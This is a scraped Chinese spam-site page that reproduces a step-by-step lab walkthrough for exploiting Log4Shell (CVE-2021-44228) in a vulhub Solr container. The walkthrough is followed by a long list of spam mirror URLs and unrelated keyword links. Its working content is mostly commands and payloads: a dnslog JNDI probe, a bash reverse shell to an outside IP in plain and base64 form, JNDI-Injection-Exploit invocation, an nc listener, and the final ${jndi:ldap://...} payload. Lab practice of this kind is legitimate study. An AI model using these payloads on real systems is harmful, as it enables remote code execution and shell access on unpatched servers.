当前位置： 首页 > news >正文 仿网站源码动力 网站建设 news 2025/11/2 3:00:25 仿网站源码,动力 网站建设,中国上海门户网,安卓手机app下载第一步:搭建靶场环境 #开启环境 cd vulhub/log4j/CVE-2021-44228 docker-compose up -d 来到网站首页 第二步:搭建一个dnslog平台上获取我们注入的效果 第三步:发现 /solr/admin/cores?action 这里有个参数可以传 我们可以看到留下了访问记录并且前面的参数被执行后给我们回…第一步:搭建靶场环境 #开启环境 cd vulhub/log4j/CVE-2021-44228 docker-compose up -d 来到网站首页 第二步:搭建一个dnslog平台上获取我们注入的效果 第三步:发现 /solr/admin/cores?action 这里有个参数可以传 我们可以看到留下了访问记录并且前面的参数被执行后给我们回显了java的 版本号 /solr/admin/cores?action${jndi:ldap://${sys:java.version}.kq25rl.dnslog.cn} 第四步:开始反弹shell #需要用到一个工具JNDI-Injection-Exploit https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 #安装java yum install java #反弹shell bash -i /dev/tcp/[IP]/[端口] 01 bash -i /dev/tcp/8.155.7.133/8888 01 #反弹shell-base64加密 YmFzaCAtaSAJiAvZGV2L3RjcC84LjE1NS43LjEzMy84ODg4IDAJjE #命令模板 java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash -A [你的vpsip] #最终命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC84LjE1NS43LjEzMy84ODg4IDAJjE}|{base64,-d}|{bash,-i} -A 8.155.7.133 #注释 -C后面的参数是要执行的命令以及编码方式-A后面就是对应ip地址。 第五步:进行JNDI注入 #新建终端并开启服务器监听 nc -lvvp 8888 第六步:拿取JDK1.8并构造Payload且直接访问..可以看到网页被重定向到了我们的恶意类网址 /solr/admin/cores?action${jndi:ldap://8.155.7.133:1389/1niv1a} ${jndi:ldap://8.155.7.133:1389/1niv1a} 看到已经访问进来了 去监听端口的页面成功反弹Shell 文章转载自： http://www.morning.rcfwr.cn.gov.cn.rcfwr.cn http://www.morning.gtdf.cn.gov.cn.gtdf.cn http://www.morning.jsphr.cn.gov.cn.jsphr.cn http://www.morning.prhfc.cn.gov.cn.prhfc.cn http://www.morning.kcdts.cn.gov.cn.kcdts.cn http://www.morning.yrxcn.cn.gov.cn.yrxcn.cn http://www.morning.okiner.com.gov.cn.okiner.com http://www.morning.grzpc.cn.gov.cn.grzpc.cn http://www.morning.rwbx.cn.gov.cn.rwbx.cn http://www.morning.aowuu.com.gov.cn.aowuu.com http://www.morning.fpryg.cn.gov.cn.fpryg.cn http://www.morning.rqxtb.cn.gov.cn.rqxtb.cn http://www.morning.lxthr.cn.gov.cn.lxthr.cn http://www.morning.nzfqw.cn.gov.cn.nzfqw.cn http://www.morning.xjqrn.cn.gov.cn.xjqrn.cn http://www.morning.pwwdp.cn.gov.cn.pwwdp.cn http://www.morning.plznfnh.cn.gov.cn.plznfnh.cn http://www.morning.mmxnb.cn.gov.cn.mmxnb.cn http://www.morning.zlfxp.cn.gov.cn.zlfxp.cn http://www.morning.mfsjn.cn.gov.cn.mfsjn.cn http://www.morning.gynlc.cn.gov.cn.gynlc.cn http://www.morning.wfzdh.cn.gov.cn.wfzdh.cn http://www.morning.qfmcm.cn.gov.cn.qfmcm.cn http://www.morning.wwdlg.cn.gov.cn.wwdlg.cn http://www.morning.kksjr.cn.gov.cn.kksjr.cn http://www.morning.ckfqt.cn.gov.cn.ckfqt.cn http://www.morning.snbry.cn.gov.cn.snbry.cn http://www.morning.hdpcn.cn.gov.cn.hdpcn.cn http://www.morning.bpmz.cn.gov.cn.bpmz.cn http://www.morning.iterlog.com.gov.cn.iterlog.com http://www.morning.zzgtdz.cn.gov.cn.zzgtdz.cn http://www.morning.jfch.cn.gov.cn.jfch.cn http://www.morning.lqzhj.cn.gov.cn.lqzhj.cn http://www.morning.vuref.cn.gov.cn.vuref.cn http://www.morning.xzsqb.cn.gov.cn.xzsqb.cn http://www.morning.ntqgz.cn.gov.cn.ntqgz.cn http://www.morning.qhmql.cn.gov.cn.qhmql.cn http://www.morning.qhczg.cn.gov.cn.qhczg.cn http://www.morning.jjzjn.cn.gov.cn.jjzjn.cn http://www.morning.ngcw.cn.gov.cn.ngcw.cn http://www.morning.kyzja.com.gov.cn.kyzja.com http://www.morning.tcylt.cn.gov.cn.tcylt.cn http://www.morning.dkfrd.cn.gov.cn.dkfrd.cn http://www.morning.jbgzy.cn.gov.cn.jbgzy.cn http://www.morning.bwmm.cn.gov.cn.bwmm.cn http://www.morning.vehna.com.gov.cn.vehna.com http://www.morning.tdnbw.cn.gov.cn.tdnbw.cn http://www.morning.xqkcs.cn.gov.cn.xqkcs.cn http://www.morning.mbmtz.cn.gov.cn.mbmtz.cn http://www.morning.yksf.cn.gov.cn.yksf.cn http://www.morning.dmcqy.cn.gov.cn.dmcqy.cn http://www.morning.mqmmc.cn.gov.cn.mqmmc.cn http://www.morning.bxrqf.cn.gov.cn.bxrqf.cn http://www.morning.kmcby.cn.gov.cn.kmcby.cn http://www.morning.lpskm.cn.gov.cn.lpskm.cn http://www.morning.tpxgm.cn.gov.cn.tpxgm.cn http://www.morning.ksjmt.cn.gov.cn.ksjmt.cn http://www.morning.qkgwx.cn.gov.cn.qkgwx.cn http://www.morning.kbkcl.cn.gov.cn.kbkcl.cn http://www.morning.cthrb.cn.gov.cn.cthrb.cn http://www.morning.flchj.cn.gov.cn.flchj.cn http://www.morning.ljdd.cn.gov.cn.ljdd.cn http://www.morning.zdsqb.cn.gov.cn.zdsqb.cn http://www.morning.prxqd.cn.gov.cn.prxqd.cn http://www.morning.rbylq.cn.gov.cn.rbylq.cn http://www.morning.psdsk.cn.gov.cn.psdsk.cn http://www.morning.tgdys.cn.gov.cn.tgdys.cn http://www.morning.ljzgf.cn.gov.cn.ljzgf.cn http://www.morning.thjqk.cn.gov.cn.thjqk.cn http://www.morning.lthgy.cn.gov.cn.lthgy.cn http://www.morning.lwyqd.cn.gov.cn.lwyqd.cn http://www.morning.sgfpn.cn.gov.cn.sgfpn.cn http://www.morning.jzsgn.cn.gov.cn.jzsgn.cn http://www.morning.wmfh.cn.gov.cn.wmfh.cn http://www.morning.zhmgcreativeeducation.cn.gov.cn.zhmgcreativeeducation.cn http://www.morning.dtnyl.cn.gov.cn.dtnyl.cn http://www.morning.qyglt.cn.gov.cn.qyglt.cn http://www.morning.dkslm.cn.gov.cn.dkslm.cn http://www.morning.hxgly.cn.gov.cn.hxgly.cn http://www.morning.alive-8.com.gov.cn.alive-8.com 查看全文 http://www.tj-hxxt.cn/news/269747.html 相关文章： 深圳网站设计价格表富阳网站定制开发哪家公司好 网站建设多少钱实惠湘潭磐石网络国外网站建设视频教学 用易语言做攻击网站软件网站建设接活 工业网站开发商厦门免费推广平台 vr全景网站怎么做厦门百度关键词优化 自助建站免费建站五个平台东莞做好网络推广 c 网站开发案例源码景区外文网站建设 免费发群二维码的网站友情链接购买 仿制单页面网站多少钱wordpress 谷歌字体 360插件 自己做网站的方法公众号文章存储wordpress 北京网站备案的地址h5网页 可以做设计的网站有哪些建网站投放广告赚钱 咸阳学校网站建设报价流量主小程序搭建 聊城专业做网站网站备案后怎么做 子域名的网站放到哪里去软件开发工程师的薪资待遇 新建的网站百度搜索不到郑州一建 个性化网站成功的案例微信网站建设公司费用 求职简历在哪个网站做网站制作公司哪里好 南宁免费自助建站模板做渔具网站 深圳住房和城乡建设厅网站学wordpress 网站平台做推广方案宁波做企业网站公司 尚仁网站建设电子商务网站建设财务分析 网站前台模板免费下载备案域名解析 joomla 网站建设教程西安做营销型网站 苏州好的网站公司哪家好wordpress菜单与页面关联 做直播网站用什么网上空间好网站建设合同的要素及签订注意事项 专业网站开发技术中国做国外的网站 深圳品牌网站制作平台书画网站的建设目标 建站系统哪个比较好最近韩国电影片在线观看 win2012 iis添加网站寻找网站开发
